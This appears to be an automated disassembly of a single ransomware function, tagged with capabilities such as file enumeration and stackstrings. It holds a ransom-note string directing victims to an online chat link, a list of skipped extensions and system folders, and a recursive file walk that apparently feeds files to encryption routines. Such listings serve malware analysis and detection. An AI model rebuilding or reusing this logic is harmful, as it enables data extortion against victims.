Function at 0x40460b
Capabilities:
Contain obfuscated stackstrings
Enumerate files on windows
Enumerate files recursively
Parse pe header

Disassembly:
push 0xb78
mov eax, 0x447552
call fcn.0042207e
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x8f4]
xor ebx, ebx
mov dword [ebp - 0xb50], esi
push 0x50
push ebx
push eax
mov dword [ebp - 0xb48], ebx
call fcn.00423ab0
add esp, 0xc
lea ecx, [ebp - 0x8f4]
call fcn.00406c67
push esi
lea eax, [ebp - 0xac]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x8f4]
call fcn.00406c1f
mov edi, 0x460d88
mov byte [ebp - 4], 1
push edi
mov edx, str._CLICK_HERE_
lea ecx, [ebp - 0x94]
call fcn.00408d5f
mov byte [ebp - 4], 2
mov ecx, eax
mov dword [esp], str..txt
call fcn.00407990
push eax
lea ecx, [ebp - 0x64]
call fcn.004079f0
push 3
pop ebx
lea eax, [ebp - 0x64]
mov byte [ebp - 4], bl
push eax
lea ecx, [ebp - 0xac]
call fcn.004079af
lea ecx, [ebp - 0x64]
call fcn.00408464
lea ecx, [ebp - 0x94]
call fcn.00408464
push 0xb0
lea eax, [ebp - 0x15c]
push 0
push eax
call fcn.00423ab0
add esp, 0xc
mov dword [ebp - 0x15c], 0x4579e0
mov dword [ebp - 0xf4], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
push 0
push 0
lea eax, [ebp - 0x158]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x15c]
mov dword [ebp - 0xb48], ebx
call fcn.004082ef
mov dword [ebp - 4], 5
mov eax, dword [ebp - 0x15c]
push 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x15c]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x160], eax
lea ecx, [ebp - 0x158]
call fcn.004082c7
mov byte [ebp - 4], 6
lea eax, [ebp - 0xac]
cmp dword [ebp - 0x98], 0x10
push ecx
cmovae eax, dword [ebp - 0xac]
push 2
push eax
lea ecx, [ebp - 0x158]
call fcn.0040825b
test eax, eax
lea ecx, [ebp - 0x15c]
mov eax, dword [ebp - 0x15c]
push 0
mov eax, dword [eax + 4]
je 0x404791
add ecx, eax
xor edx, edx
push 4
pop eax
cmp dword [ecx + 0x38], edx
cmovne eax, edx
push eax
call fcn.00403210
jmp 0x40479f
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
push eax
call fcn.00408356
cmp dword [ebp - 0x10c], 0
je 0x404858
push 0x460d54
mov edx, str.Caution____r_nYour_files_on_this_computer_have_been_encrypted_due_to_security_issues._r_nTo_restore_it_you_should_write_to_the_online_chat._r_n_r_nTo_decrypt_files_follow_the_instructions_below:_r_n_r_n1._Open_in_any_browser_the_link:_https:__recovery_help.top_online_chat__._r_n2._To_chat_with_operator_you_need_to_fill_the_next_information_on_chat_page:_r_n___your_ID:
lea ecx, [ebp - 0x94]
call fcn.00408d5f
mov byte [ebp - 4], 7
mov ecx, eax
mov dword [esp], str.__r_n___personal_key:
call fcn.00407990
push eax
lea ecx, [ebp - 0x28]
call fcn.004079f0
push 0x460d0c
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 8
call fcn.004079af
push eax
lea ecx, [ebp - 0x64]
call fcn.004079f0
push 0x456ed8
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 9
call fcn.00407990
push eax
lea ecx, [ebp - 0x7c]
call fcn.004079f0
push 0x1f
pop ebx
mov byte [ebp - 4], 0xa
lea edx, [ebp - 0x7c]
cmp dword [ebp - 0x68], 0x10
lea ecx, [ebp - 0x15c]
push dword [ebp - 0x6c]
cmovae edx, dword [ebp - 0x7c]
call fcn.00409b2c
pop ecx
lea ecx, [ebp - 0x7c]
call fcn.00408464
lea ecx, [ebp - 0x64]
call fcn.00408464
lea ecx, [ebp - 0x28]
call fcn.00408464
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 6
call fcn.00408464
lea ecx, [ebp - 0x158]
call fcn.00408207
test eax, eax
jne 0x404886
mov eax, dword [ebp - 0x15c]
lea ecx, [ebp - 0x15c]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
push eax
call fcn.00408356
push str..adv
lea ecx, [ebp - 0x7ec]
call fcn.00407a1e
push str..ani
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 0xb
call fcn.00407a1e
push str..big
lea ecx, [ebp - 0x1a4]
mov byte [ebp - 4], 0xc
call fcn.00407a1e
push str..bat
lea ecx, [ebp - 0x18c]
mov byte [ebp - 4], 0xd
call fcn.00407a1e
push str..cab
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xe
call fcn.00407a1e
push str..cmd
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xf
call fcn.00407a1e
push str..com
lea ecx, [ebp - 0x78c]
mov byte [ebp - 4], 0x10
call fcn.00407a1e
push str..cpl
lea ecx, [ebp - 0x774]
mov byte [ebp - 4], 0x11
call fcn.00407a1e
push str..cur
lea ecx, [ebp - 0x75c]
mov byte [ebp - 4], 0x12
call fcn.00407a1e
push str..deskthemepack
lea ecx, [ebp - 0x744]
mov byte [ebp - 4], 0x13
call fcn.00407a1e
push str..diagcab
lea ecx, [ebp - 0x72c]
mov byte [ebp - 4], 0x14
call fcn.00407a1e
push str..diagcfg
lea ecx, [ebp - 0x714]
mov byte [ebp - 4], 0x15
call fcn.00407a1e
push str..diagpkg
lea ecx, [ebp - 0x6fc]
mov byte [ebp - 4], 0x16
call fcn.00407a1e
push str..drv
lea ecx, [ebp - 0x6e4]
mov byte [ebp - 4], 0x17
call fcn.00407a1e
push 0x18
pop eax
push str..hlp
lea ecx, [ebp - 0x6cc]
mov byte [ebp - 4], al
call fcn.00407a1e
push str..icl
lea ecx, [ebp - 0x6b4]
mov byte [ebp - 4], 0x19
call fcn.00407a1e
push str..icns
lea ecx, [ebp - 0x69c]
mov byte [ebp - 4], 0x1a
call fcn.00407a1e
push str..ics
lea ecx, [ebp - 0x684]
mov byte [ebp - 4], 0x1b
call fcn.00407a1e
push str..idx
lea ecx, [ebp - 0x66c]
mov byte [ebp - 4], 0x1c
call fcn.00407a1e
push str..ldf
lea ecx, [ebp - 0x654]
mov byte [ebp - 4], 0x1d
call fcn.00407a1e
push str..mod
lea ecx, [ebp - 0x63c]
mov byte [ebp - 4], 0x1e
call fcn.00407a1e
push str..mpa
lea ecx, [ebp - 0x624]
mov byte [ebp - 4], 0x1f
call fcn.00407a1e
push str..msc
lea ecx, [ebp - 0x60c]
mov byte [ebp - 4], 0x20
call fcn.00407a1e
push str..msp
lea ecx, [ebp - 0x5f4]
mov byte [ebp - 4], 0x21
call fcn.00407a1e
push str..msstyles
lea ecx, [ebp - 0x5dc]
mov byte [ebp - 4], 0x22
call fcn.00407a1e
push str..msu
lea ecx, [ebp - 0x5c4]
mov byte [ebp - 4], 0x23
call fcn.00407a1e
push str..nls
lea ecx, [ebp - 0x5ac]
mov byte [ebp - 4], 0x24
call fcn.00407a1e
push str..nomedia
lea ecx, [ebp - 0x594]
mov byte [ebp - 4], 0x25
call fcn.00407a1e
push str..ocx
lea ecx, [ebp - 0x57c]
mov byte [ebp - 4], 0x26
call fcn.00407a1e
push str..prf
lea ecx, [ebp - 0x564]
mov byte [ebp - 4], 0x27
call fcn.00407a1e
push str..ps1
lea ecx, [ebp - 0x54c]
mov byte [ebp - 4], 0x28
call fcn.00407a1e
push str..rom
lea ecx, [ebp - 0x534]
mov byte [ebp - 4], 0x29
call fcn.00407a1e
mov byte [ebp - 4], 0x2a
push str..rtp
lea ecx, [ebp - 0x51c]
call fcn.00407a1e
push str..scr
lea ecx, [ebp - 0x504]
mov byte [ebp - 4], 0x2b
call fcn.00407a1e
push str..shs
lea ecx, [ebp - 0x4ec]
mov byte [ebp - 4], 0x2c
call fcn.00407a1e
push str..spl
lea ecx, [ebp - 0x4d4]
mov byte [ebp - 4], 0x2d
call fcn.00407a1e
push str..sys
lea ecx, [ebp - 0x4bc]
mov byte [ebp - 4], 0x2e
call fcn.00407a1e
push str..theme
lea ecx, [ebp - 0x4a4]
mov byte [ebp - 4], 0x2f
call fcn.00407a1e
push str..themepack
lea ecx, [ebp - 0x48c]
mov byte [ebp - 4], 0x30
call fcn.00407a1e
push str..wpx
lea ecx, [ebp - 0x474]
mov byte [ebp - 4], 0x31
call fcn.00407a1e
push str..lock
lea ecx, [ebp - 0x45c]
mov byte [ebp - 4], 0x32
call fcn.00407a1e
push str..key
lea ecx, [ebp - 0x444]
mov byte [ebp - 4], 0x33
call fcn.00407a1e
push str..hta
lea ecx, [ebp - 0x42c]
mov byte [ebp - 4], 0x34
call fcn.00407a1e
push str..msi
lea ecx, [ebp - 0x414]
mov byte [ebp - 4], 0x35
call fcn.00407a1e
push str..pck
lea ecx, [ebp - 0x3fc]
mov byte [ebp - 4], 0x36
call fcn.00407a1e
push str.Temp
lea ecx, [ebp - 0x3e4]
mov byte [ebp - 4], 0x37
call fcn.00407a1e
push str.Local
lea ecx, [ebp - 0x3cc]
mov byte [ebp - 4], 0x38
call fcn.00407a1e
push str.temp
lea ecx, [ebp - 0x3b4]
mov byte [ebp - 4], 0x39
call fcn.00407a1e
mov byte [ebp - 4], 0x3a
push 0x4573dc
lea ecx, [ebp - 0x39c]
call fcn.00407a1e
push str.AndroidSDK
lea ecx, [ebp - 0x384]
mov byte [ebp - 4], 0x3b
call fcn.00407a1e
push str..md5
lea ecx, [ebp - 0x36c]
mov byte [ebp - 4], 0x3c
call fcn.00407a1e
push str..sha1
lea ecx, [ebp - 0x354]
mov byte [ebp - 4], 0x3d
call fcn.00407a1e
push str..bin
lea ecx, [ebp - 0x33c]
mov byte [ebp - 4], 0x3e
call fcn.00407a1e
push str..dll
lea ecx, [ebp - 0x324]
mov byte [ebp - 4], 0x3f
call fcn.00407a1e
push str..obj
lea ecx, [ebp - 0x30c]
mov byte [ebp - 4], 0x40
call fcn.00407a1e
push edi
mov edx, str.C:_CLICK_HERE_
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x94]
call fcn.00408d5f
mov byte [ebp - 4], 0x42
mov ecx, eax
mov dword [esp], str..txt
call fcn.00407990
push eax
lea ecx, [ebp - 0x7d4]
call fcn.004079f0
lea ecx, [ebp - 0x94]
mov byte [ebp - 4], 0x44
call fcn.00408464
push edi
mov edx, str.CLICK_HERE_
lea ecx, [ebp - 0x64]
call fcn.00408d5f
mov byte [ebp - 4], 0x45
mov ecx, eax
mov dword [esp], str..txt
call fcn.00407990
push eax
lea ecx, [ebp - 0x94]
call fcn.004079f0
or ebx, 0x60
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x47
call fcn.00408464
push str.windows
lea ecx, [ebp - 0x2f4]
call fcn.00407a1e
push str.Windows
lea ecx, [ebp - 0x2dc]
mov byte [ebp - 4], 0x48
call fcn.00407a1e
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x2c4]
push str.C:_intel
call fcn.00407a1e
push str.C:_nvidia
lea ecx, [ebp - 0x1d4]
mov byte [ebp - 4], 0x4a
call fcn.00407a1e
push str.C:_ProgramData
lea ecx, [ebp - 0x2ac]
mov byte [ebp - 4], 0x4b
call fcn.00407a1e
push str.Google
lea ecx, [ebp - 0x294]
mov byte [ebp - 4], 0x4c
call fcn.00407a1e
push str.boot
lea ecx, [ebp - 0x27c]
mov byte [ebp - 4], 0x4d
call fcn.00407a1e
push str.C:_Program_Files
lea ecx, [ebp - 0x264]
mov byte [ebp - 4], 0x4e
call fcn.00407a1e
push str.C:_Program_Files__x86_
lea ecx, [ebp - 0x24c]
mov byte [ebp - 4], 0x4f
call fcn.00407a1e
push str.System_Volume_Information
lea ecx, [ebp - 0x234]
mov byte [ebp - 4], 0x50
call fcn.00407a1e
push str.Mozilla
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 0x51
call fcn.00407a1e
push str.Tor_Browser
lea ecx, [ebp - 0x204]
mov byte [ebp - 4], 0x52
call fcn.00407a1e
push str.Notepad
lea ecx, [ebp - 0x1ec]
mov byte [ebp - 4], 0x53
call fcn.00407a1e
push str.Explorer
lea ecx, [ebp - 0x174]
mov byte [ebp - 4], 0x54
call fcn.00407a1e
push 0x4574e8
mov edx, esi
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x4c]
call fcn.00408dc3
pop ecx
cmp dword [ebp - 0x38], 8
lea ecx, [ebp - 0xb44]
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov dword [ebp - 0xb48], eax
cmp eax, 0xffffffff
je 0x4058d2
xor eax, eax
lea edi, [ebp - 0x34]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov byte [ebp - 4], 0x57
mov esi, dword [ebp - 0xb48]
test byte [ebp - 0xb44], 0x10
je 0x404ef7
push 0x4574f0
lea eax, [ebp - 0xb18]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x405869
push 0x4574f4
lea eax, [ebp - 0xb18]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpW]
test eax, eax
je 0x405869
lea eax, [ebp - 0xb18]
push eax
lea ecx, [ebp - 0xb6c]
call fcn.0040789b
mov esi, eax
mov edx, dword [ebp - 0xb50]
lea ecx, [ebp - 0xb84]
push 0x4574fc
mov byte [ebp - 4], 0x58
call fcn.00408dc3
pop ecx
mov edx, eax
mov byte [ebp - 4], 0x59
mov ecx, dword [edx + 0x14]
mov edi, dword [edx + 0x10]
sub ecx, edi
cmp dword [esi + 0x10], ecx
jbe 0x404f57
mov eax, dword [esi + 0x14]
sub eax, dword [esi + 0x10]
cmp eax, edi
jb 0x404f57
cmp dword [edx + 0x14], 8
jb 0x404f4b
mov edx, dword [edx]
push edi
push edx
push ecx
mov ecx, esi
call fcn.0040989f
jmp 0x404f5f
push esi
mov ecx, edx
call fcn.0040979f
or ebx, 0x80
lea ecx, [ebp - 0x64]
push eax
mov dword [ebp - 0xb4c], ebx
call fcn.0040786b
mov byte [ebp - 0xb54], 0
lea eax, [ebp - 0x64]
push dword [ebp - 0xb54]
lea ecx, [ebp - 0x4c]
push eax
call fcn.0040843b
lea ecx, [ebp - 0x64]
call fcn.0040839a
lea ecx, [ebp - 0xb84]
call fcn.0040839a
lea ecx, [ebp - 0xb6c]
mov byte [ebp - 4], 0x57
call fcn.0040839a
cmp dword [ebp - 0x38], 8
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
cmovae ecx, dword [ebp - 0x4c]
lea eax, [ecx + eax*2]
lea ecx, [ebp - 0x4c]
cmovae ecx, dword [ebp - 0x4c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x28]
call fcn.00408af7
push ecx
lea eax, [ebp - 0x94]
mov byte [ebp - 4], 0x5a
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp dword [ebp - 0x38], 8
lea edx, [ebp - 0x4c]
push dword [ebp - 0x3c]
cmovae edx, dword [ebp - 0x4c]
mov edi, eax
call fcn.00409c71
push eax
call fcn.00408e46
pop ecx
lea eax, [ebp - 0x1bc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
mov esi, 0x3e8
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x1a4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x18c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x7bc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x7a4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x78c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x774]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x75c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x744]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x72c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x714]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x6fc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x6e4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x6cc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x6b4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x69c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x684]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x66c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x654]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x63c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x624]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x60c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x5f4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x5dc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x5ac]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x594]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x57c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x564]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x54c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x534]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x51c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x504]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x4ec]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x4d4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x4bc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x4a4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x48c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x474]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x45c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x444]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x42c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x3fc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x3e4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x3cc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x3b4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x384]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x36c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x33c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x354]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x39c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x30c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x324]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x2f4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x2dc]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x2c4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x1d4]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x2ac]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x294]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x27c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x264]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x24c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x21c]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x1ec]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
push ecx
lea eax, [ebp - 0x174]
push eax
lea ecx, [ebp - 0x28]
call fcn.004078c0
cmp eax, esi
jb 0x405857
and dword [ebp - 0x6c], 0
lea eax, [ebp - 0x28]
and dword [ebp - 0x68], 0
lea ecx, [ebp - 0x7c]
push eax
call fcn.0040860b
mov byte [ebp - 4], 0x5b
lea esi, [ebp - 0x7c]
cmp dword [ebp - 0x68], 0x10
mov edx, dword [ebp - 0x6c]
cmovae esi, dword [ebp - 0x7c]
test edx, edx
je 0x4056ad
or ecx, 0xffffffff
lea eax, [edx - 1]
cmp eax, ecx
cmovb ecx, eax
add ecx, esi
jmp 0x4056a4
cmp ecx, esi
je 0x4056ad
dec ecx
cmp byte [ecx], 0x2e
jne 0x40569f
sub ecx, esi
jmp 0x4056b0
or ecx, 0xffffffff
cmp ecx, 0xffffffff
je 0x405817
and dword [ebp - 0x54], 0
lea esi, [ecx + 1]
mov dword [ebp - 0x50], 0xf
mov byte [ebp - 0x64], 0
cmp edx, esi
jb 0x405c29
sub edx, esi
lea eax, [ebp - 0x7c]
or ecx, 0xffffffff
cmp edx, 0xffffffff
cmovb ecx, edx
cmp dword [ebp - 0x68], 0x10
push ecx
cmovae eax, dword [ebp - 0x7c]
lea ecx, [ebp - 0x64]
add eax, esi
push eax
call fcn.0040850e
mov ebx, dword [ebp - 0xb4c]
or ebx, 0x100
sub esp, 0x18
mov byte [ebp - 4], 0x5c
mov ecx, esp
lea eax, [ebp - 0x64]
push eax
and dword [ecx + 0x10], 0
and dword [ecx + 0x14], 0
call fcn.0040860b
call fcn.00403f7c
add esp, 0x18
cmp eax, 1
jne 0x40580b
push 0xb8
lea eax, [ebp - 0x8a4]
push 0
push eax
call fcn.00423ab0
pop ecx
pop ecx
lea ecx, [ebp - 0x8a4]
call fcn.0040659b
push ecx
push ecx
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 0x5d
push eax
lea ecx, [ebp - 0x8a4]
call fcn.00406550
push 2
push ecx
push ecx
lea ecx, [ebp - 0x8a4]
call fcn.00406693
lea eax, [ebp - 0xb6c]
push eax
lea ecx, [ebp - 0x8a4]
call fcn.00406600
mov esi, dword [eax + 8]
add esi, dword [eax]
cmp esi, 0x7687c00
jge 0x40579f
cmp edi, 0x3e8
jbe 0x40579f
lea ecx, [ebp - 0x4c]
call fcn.0040419c
lea ecx, [ebp - 0x894]
call fcn.00408207
test eax, eax
jne 0x4057cd
mov eax, dword [ebp - 0x8a4]
lea ecx, [ebp - 0x8a4]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
push eax
call fcn.00408356
cmp esi, 0x7687c00
jge 0x4057e5
cmp edi, 0x3e8
jbe 0x4057e5
lea ecx, [ebp - 0x4c]
call fcn.00404022
lea ecx, [ebp - 0x834]
call fcn.0040650d
lea eax, [ebp - 0x834]
mov byte [ebp - 4], 0x5e
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0040f09d
pop ecx
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 0x5b
call fcn.00408464
push 0x456da4
lea ecx, [ebp - 0x28]
call fcn.004084ef
test byte [ebp - 0xb44], 0x10
je 0x40584f
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x4c]
push ecx
cmp eax, dword [ebp - 0x2c]
je 0x405846
mov ecx, eax
call fcn.004097b9
add dword [ebp - 0x30], 0x18
jmp 0x40584f
push eax
lea ecx, [ebp - 0x34]
call fcn.00408ed2
lea ecx, [ebp - 0x7c]
call fcn.00408464
lea ecx, [ebp - 0x28]
mov byte [ebp - 4], 0x57
call fcn.00408464
mov esi, dword [ebp - 0xb48]
lea eax, [ebp - 0xb44]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x404eba
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x34]
push 0x18
pop ebx
cmp esi, edi
je 0x4058a6
push esi
call fcn.0040460b
add esi, ebx
pop ecx
cmp esi, edi
jne 0x405893
mov edi, dword [ebp - 0x30]
mov esi, dword [ebp - 0x34]
test esi, esi
je 0x4058d2
cmp esi, edi
je 0x4058be
mov ecx, esi
call fcn.0040839a
add esi, ebx
cmp esi, edi
jne 0x4058ae
mov esi, dword [ebp - 0x34]
mov eax, dword [ebp - 0x2c]
sub eax, esi
cdq
idiv ebx
imul eax, eax, 0x18
push eax
push esi
call fcn.0040949b
pop ecx
pop ecx
lea ecx, [ebp - 0x4c]
call fcn.0040839a
lea ecx, [ebp - 0x174]
call fcn.00408464
lea ecx, [ebp - 0x1ec]
call fcn.00408464
lea ecx, [ebp - 0x204]
call fcn.00408464
lea ecx, [ebp - 0x21c]
call fcn.00408464
lea ecx, [ebp - 0x234]
call fcn.00408464
lea ecx, [ebp - 0x24c]
